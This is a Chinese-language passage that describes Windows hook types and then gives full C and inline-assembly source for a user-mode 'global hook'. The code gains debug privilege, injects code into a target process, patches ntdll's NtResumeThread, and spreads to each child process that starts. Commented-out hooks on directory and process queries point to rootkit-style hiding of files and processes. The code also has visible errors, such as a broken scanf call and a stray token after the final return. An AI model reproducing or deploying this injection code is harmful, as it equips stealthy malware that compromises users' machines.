能夠回放之前由 WH_JOURNALRECORD HOOK 錄製的鼠標、鍵盤輸入事件。在
WH_JOURNALPLAYBACK Hook 安裝到系統時,鼠標、鍵盤輸入事件將被屏蔽。該 HOOK
一樣是一個全局 HOOK,不能在指定線程中使用。
WH_JOURNALPLAYBACK Hook 返回一個時間暫停值,它告訴系統,在處理當前回放的消
息時,系統等待百分之幾秒。這使得此 HOOK 能夠控制在回放時的時間事件。
WH_KEYBOARD Hook
WH_KEYBOARD Hook 使應用程序能夠監視由 GetMessage 和 PeekMessage 返回的
WM_KEYDOWN 及 WM_KEYUP 消息。應用程序使用該 HOOK 監視發送到消息隊列中的
鍵盤輸入。
WH_MOUSE Hook
WH_MOUSE Hook 使應用程序能夠監視由 GetMessage 和 PeekMessage 返回的消息。應用程
序使用該 HOOK 監視發送到消息隊列中的鼠標輸入。
WH_MSGFILTER and WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使應用程序能夠監視菜單、滾動條、消
息框、對話框,當用戶使用 ALT+TAB 或 ALT+ESC 來切換窗體時,該 HOOK 也能夠攔截
到消息。WH_MSGFILTER 僅在應用程序內部監視菜單、滾動條、消息框、對話框,而
WH_SYSMSGFILTER 則能夠在系統內監視全部應用程序的這些事件。
WH_SHELL Hook
一個 SHELL 程序能夠使用 WH_SHELL Hook 來接收重要的信息。當一個 SHELL 程序被激
活前或當前窗體被建立、消毀時,系統會調用 WH_SHELL Hook 過程。
vc++實現 Ring3 全局 HOOK
/****************************************************************
*******/
/*
實現全局 hook 模塊基本完工,測試經過,沒有發現異常。
計劃 1:在 hook 前首先檢驗該程序是否已被 hook
計劃 2:添加枚舉進程並 hook 功能
計劃 3:在備份 api 時,只備份目標 api 函數,避免備份整個 dll 浪費空間
計劃 4:給 my_EventProcess_Thread 加上垃圾回收機制
*/
/****************************************************************
*******/
#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#include <malloc.h>
#include <stdio.h>
#include <Psapi.h>
#include <Tlhelp32.h>
#pragma comment(lib,"psapi")
#include <winbase.h>
#include <wchar.h>
#include <process.h>
#define WRITEBASE (12)
typedef struct
{
HMODULE hModule;//句柄
LPVOID lpNewBaseOfDll;//備份 dll 句柄
MODULEINFO modinfo;//MODULEINFO 結構
}DLLINFO, *PDLLINFO;
typedef struct
{
HANDLE EventFar;
HANDLE ObjectProcessHandle;
DWORD WriteAddress;
}EventInfo,*PEventInfo;
void UpToDebug();//調整令牌提高至 debug 權限
BOOL InitDll(char *pszDll, PDLLINFO pDllInfo,HANDLE prochandle);
int HookNamedApi(PDLLINFO pDllInfo, char *ApiName, DWORD HookProc,HANDLE
ObjectProcessHandle);
int HookProcess(HANDLE ObjectProcessHandle);
void FarStartUp(int Num);
void EditHookProc();
void __stdcall my_EventProcess_Thread(HANDLE EventFar);
DWORD __stdcall Hook_NtResumeThread(HANDLE ThreadHandle,PULONG
PreviousSuspendCount OPTIONAL);
BYTE HookCode[]={0xb8,0x0,0x0,0x0,0x0,0xFF,0xE0};
void UpToDebug()//調整令牌提高至 debug 權限
{
HANDLE token;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&token);
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount =1;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token,0,&tp,sizeof(tp),0,0);
}
void main(int argc, char **argv)
{
UpToDebug();//提高至 debug 權限
HANDLE
ObjectProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,1,atoi(argv[1]));//打
開目標進程
HookProcess(ObjectProcessHandle);
int wait=0;
scanf("%d",wait);
return;
}
int HookProcess(HANDLE ObjectProcessHandle)
{
DLLINFO Object_dll;
if(!InitDll("ntdll.dll",&Object_dll,ObjectProcessHandle)) return 0;//備份目標 dll
HookNamedApi(&Object_dll, "NtResumeThread",
(DWORD)Hook_NtResumeThread,ObjectProcessHandle);//hook 函數
//hook_api(&user32_dll, "NtQuerySystemInformation",
(DWORD)hook_NtQuerySystemInformation,
&new_temp,ObjectProcessHandle);//hook 函數
//hook_api(&user32_dll, "NtQueryDirectoryFile",
(DWORD)hook_NtQueryDirectoryFile, &new_temp,ObjectProcessHandle);//hook 函
數
//hook_api(&user32_dll, "FindFirstFileA", (DWORD)hook_FindFirstFileA,
&new_FindFirstFileA,ObjectProcessHandle);//hook 函數
//hook_api(&user32_dll, "FindNextFileA", (DWORD)hook_FindNextFileA,
&new_FindFirstFileA,ObjectProcessHandle);
return 0;
}
BOOL InitDll(char *pszDll, PDLLINFO pDllInfo,HANDLE prochandle)
{
pDllInfo->hModule = GetModuleHandle(pszDll);//獲得目標 dll 句柄,由於是本地信息,
因此要保證本程序加載此 dll
if(!pDllInfo->hModule)
{
printf("pDllInfo->hModule is null! in InitDll");
return 0;
}
if(!GetModuleInformation(GetCurrentProcess(), pDllInfo->hModule,
&pDllInfo->modinfo, sizeof(MODULEINFO)))//獲得目標 dll 信息
{
printf("Error:GetModuleInformation in InitDll");
return 0;
}
pDllInfo->lpNewBaseOfDll =
VirtualAllocEx(prochandle,0,pDllInfo->modinfo.SizeOfImage,MEM_COMMIT|MEM_
RESERVE,PAGE_EXECUTE_READWRITE);//申請空間並賦予相應權限(執行,讀寫)
if(!pDllInfo->lpNewBaseOfDll)
{
printf("Error:VirtualAllocEx in InitDll");//錯誤處理
return 0;
}
BYTE * buffer=(BYTE *)malloc(pDllInfo->modinfo.SizeOfImage);//分配緩衝,容納
目標 dll
ReadProcessMemory(prochandle,pDllInfo->modinfo.lpBaseOfDll,buffer,pDllInfo->
modinfo.SizeOfImage,0);//讀出,遠程 dll 內容
WriteProcessMemory(prochandle,pDllInfo->lpNewBaseOfDll,buffer,pDllInfo->mod
info.SizeOfImage,0);//寫入備份 dll
return 1;
}
int HookNamedApi(PDLLINFO pDllInfo, char *ApiName, DWORD HookProc,HANDLE
ObjectProcessHandle)
{
DWORD dw, NamedApiAddress,NewFunc;
MEMORY_BASIC_INFORMATION mbi;
static EventInfo myEventInfo;
static Num=0x676e696b;
NamedApiAddress = (DWORD)GetProcAddress(pDllInfo->hModule, ApiName);//目
標 api 地址,每一個進程的 api 地址都是同樣的,只要找本進程的就能夠了。
if(NamedApiAddress == NULL)
{
printf("Error:GetProcAddress in hook_api");//錯誤處理
return 0;
}
if(!VirtualQueryEx(ObjectProcessHandle,(void
*)NamedApiAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION)))//獲取 api 所在
內存信息
{
printf("Error:VirtualQueryEx in hook_api");
return 0;
}
if(!VirtualProtectEx(ObjectProcessHandle,mbi.BaseAddress,mbi.RegionSize,PAGE
_EXECUTE_READWRITE,&dw))//分配寫和執行權限
{
printf("Error:VirtualProtectEx in hook_api");
return 0;
}
LPVOID
WriteAddress=VirtualAllocEx(ObjectProcessHandle,0,1000,MEM_COMMIT|MEM_RE
SERVE,PAGE_EXECUTE_READWRITE);//分配內存,寫入 hook 函數
//計算原函數 COPY 的位置
NewFunc = NamedApiAddress - (DWORD)pDllInfo->modinfo.lpBaseOfDll +
(DWORD)pDllInfo->lpNewBaseOfDll;
//修改原函數入口處內容
if(strcmp(ApiName,"NtResumeThread")==0)
{
DWORD
my_CreateEventA=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"C
reateEventA");
HANDLE EventFar;
__asm
{
pushad
push 00000000h
push Num
push 0x676e696b
push esp
push 0
push 0
push 0
call my_CreateEventA
mov EventFar,eax
pop eax
pop eax
pop eax
popad
}
*(PDWORD)((DWORD)FarStartUp+9)=(DWORD)GetProcAddress(GetModuleHan
dle("kernel32.dll"),"OpenEventA");
LPVOID
StartUpAddr=VirtualAllocEx(ObjectProcessHandle,0,500,MEM_COMMIT|MEM_RES
ERVE,PAGE_EXECUTE_READWRITE);//分配內存,寫入 StartUp 函數
WriteProcessMemory(ObjectProcessHandle,StartUpAddr,(LPVOID)FarStartUp,50
0,0);
printf("%x\n",(DWORD)StartUpAddr);
HANDLE FarThread=CreateRemoteThread(ObjectProcessHandle,0,0,
(LPTHREAD_START_ROUTINE)StartUpAddr,(PVOID)Num,0,0);
WaitForSingleObject(FarThread,-1);
CloseHandle(FarThread);
DWORD ReadBuf;
ReadProcessMemory(ObjectProcessHandle,(LPVOID)((DWORD)StartUpAddr+21)
,&ReadBuf,4,0);
VirtualFreeEx(ObjectProcessHandle,StartUpAddr,500,MEM_RELEASE);
*(PDWORD)(HookProc+WRITEBASE+7)=ReadBuf;
myEventInfo.EventFar=EventFar;
myEventInfo.ObjectProcessHandle=ObjectProcessHandle;
myEventInfo.WriteAddress=(DWORD)WriteAddress;
CreateThread(0,0,(unsigned long (__stdcall *)(void
*))my_EventProcess_Thread,&myEventInfo,0,0);
Num++;
}
*(PDWORD)(HookProc+WRITEBASE)=NewFunc;
*(PDWORD)(HookProc+WRITEBASE+14)=(DWORD)GetProcAddress(GetModuleH
andle("kernel32.dll"),"GetCurrentProcessId");
*(PDWORD)(HookProc+WRITEBASE+21)=(DWORD)GetProcAddress(GetModuleH
andle("kernel32.dll"),"SetEvent");
*(PDWORD)(HookProc+WRITEBASE+28)=(DWORD)GetProcAddress(GetModuleH
andle("kernel32.dll"),"WaitForSingleObject");
*(PDWORD)(HookProc+WRITEBASE+35)=(DWORD)GetProcAddress(GetModuleH
andle("ntdll.dll"),"NtQueryInformationThread");
*(PDWORD)(HookProc+WRITEBASE+42)=(DWORD)GetProcAddress(GetModuleH
andle("kernel32.dll"),"ResetEvent");
WriteProcessMemory(ObjectProcessHandle,WriteAddress,(void
*)HookProc,1000,0);
*(PDWORD)(&HookCode[0]+1)=(DWORD)WriteAddress;
WriteProcessMemory(ObjectProcessHandle,(LPVOID)NamedApiAddress,&HookCo
de,7,0);
printf("func:%x\n",WriteAddress);//調試信息
return 1;
}
void FarStartUp(int Num){
int myOpenEvent=0x10020000;
__asm call GetMyAddr;
DWORD myEventHandle=0x00220000;
DWORD FuncAddr;
__asm
{
jmp run
GetMyAddr:
pop eax
mov FuncAddr,eax
push eax
ret
run:
push 00000000
push Num
push 0x676e696b
push esp
push 0
push EVENT_ALL_ACCESS
call myOpenEvent
mov myEventHandle,eax
}
*(PDWORD)(FuncAddr+3)=myEventHandle;
return;
}
void __stdcall my_EventProcess_Thread(PVOID InEventInfo)
{
EventInfo myEventInfo;
PEventInfo Info=(PEventInfo)InEventInfo;
myEventInfo.EventFar=Info->EventFar;
myEventInfo.ObjectProcessHandle=Info->ObjectProcessHandle;
myEventInfo.WriteAddress=Info->WriteAddress;
while(true)
{
WaitForSingleObject(myEventInfo.EventFar,-1);
DWORD ReadBuf=0;
ReadProcessMemory(myEventInfo.ObjectProcessHandle,(LPVOID)(myEventInfo.
WriteAddress+67),&ReadBuf,4,0);
HANDLE
ObjectProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,1,ReadBuf);
HookProcess(ObjectProcessHandle);
SetEvent(myEventInfo.EventFar);
ResetEvent(myEventInfo.EventFar);
}
return;
}
DWORD __stdcall Hook_NtResumeThread(
HANDLE ThreadHandle,
PULONG PreviousSuspendCount OPTIONAL)
{
/*int OldNtResumeThread=0x11223344;//原 NtQueryDirectoryFile 函數
int EventHandle=0x11002200;
int my_GetCurrentProcessId=0x00224466;
int my_SetEnent=0x22447688;
int my_WaitForSingleObject=0x22556577;
int my_NtQueryInformationThread=0x99884756;*/
//int FarRead=0x00220044;
int OldNtResumeThread;//原 NtQueryDirectoryFile 函數
int EventHandle;
int my_GetCurrentProcessId;
int my_SetEnent;
int my_WaitForSingleObject;
int my_NtQueryInformationThread;
int my_ResetEvent;
__asm
{
mov OldNtResumeThread,00112244h
mov EventHandle,00225588h
mov my_GetCurrentProcessId,22447799h
mov my_SetEnent,55662244h
mov my_WaitForSingleObject,55889966h
mov my_NtQueryInformationThread,77554411h
mov my_ResetEvent,55661188h
pushad
}
__asm call GetAddr;
int FarRead;
__asm mov FarRead,22550011h;
DWORD myAddr;
__asm
{
jmp start
GetAddr:
pop eax
mov myAddr,eax
push eax
ret
start:
}
DWORD myStatus;//存儲返回變量
BYTE SystemInfo[60];
int infoaddr=(DWORD)&SystemInfo;
int CurrentProcess;
__asm
{
push 0
push 28
push infoaddr
push 0
push ThreadHandle
call my_NtQueryInformationThread
mov myStatus,eax
}
DWORD id=*(DWORD *)(SystemInfo+8);
__asm
{
call my_GetCurrentProcessId
mov CurrentProcess,eax
}
if(id==(DWORD)CurrentProcess)
{
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread
mov myStatus,eax
popad
}
return myStatus;
}
if(myStatus==0)
{
*(PDWORD)(myAddr+3)=id;
__asm
{
push EventHandle
call my_SetEnent
push -1
push EventHandle
call my_WaitForSingleObject
push EventHandle
call my_ResetEvent
}
}
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread
mov myStatus,eax
popad
}
return myStatus; ios